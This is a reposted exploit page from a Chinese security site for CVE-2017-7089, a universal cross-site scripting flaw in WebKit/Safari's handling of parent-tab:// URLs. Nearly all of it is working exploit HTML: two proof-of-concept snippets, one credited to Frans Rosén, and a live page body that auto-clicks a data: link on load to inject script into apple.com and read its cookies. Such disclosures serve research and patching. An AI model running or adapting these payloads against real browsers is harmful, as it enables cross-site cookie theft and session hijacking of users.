首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Webkit (Safari) - Universal Cross-site Scripting
来源:vfocus.net 作者:Lopanitsyn 发布时间:2018-11-16  
<!--
# CVE-2017-7089
 
**Impact**: Processing maliciously crafted web content may lead to universal cross site scripting
 
**Description**: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management.
 
#### Safari 10
 
##### Local SOP bypass
 
```html
<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button>
```
##### Exploit by Frans Rosén
```html
data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src=""onerror="alert(document.cookie)">'};setTimeout(y,100)</script>
```
-->
 
<body onload=document.getElementById('pew').click()>
<a id='pew' href='data:text/html,<script>function y(){x=open(&#x27;parent-tab://apple.com&#x27;,&#x27;_top&#x27;),x.document.body.innerHTML=&#x27;<img/src=""onerror=alert(document.domain);alert(document.cookie);>&#x27;};setTimeout(y,100)</script>'>hello</a>
</body>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP 5.2.3 imap (Debian Based)
·Webkit (Chome < 61) - 'MHTML'
·Bosch Video Management System
·Notepad3 1.0.2.350 - Denial of
·SwitchVPN for macOS 2.1012.03
·Malicious Git HTTP Server
·Atlassian Jira Authenticated U
·Mumsoft Easy Software 2.0 - De
·AMPPS 2.7 - Denial of Service
·Easy Outlook Express Recovery
·ntpd 4.2.8p10 - Out-of-Bounds
·Linux - Broken uid/gid Mapping
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved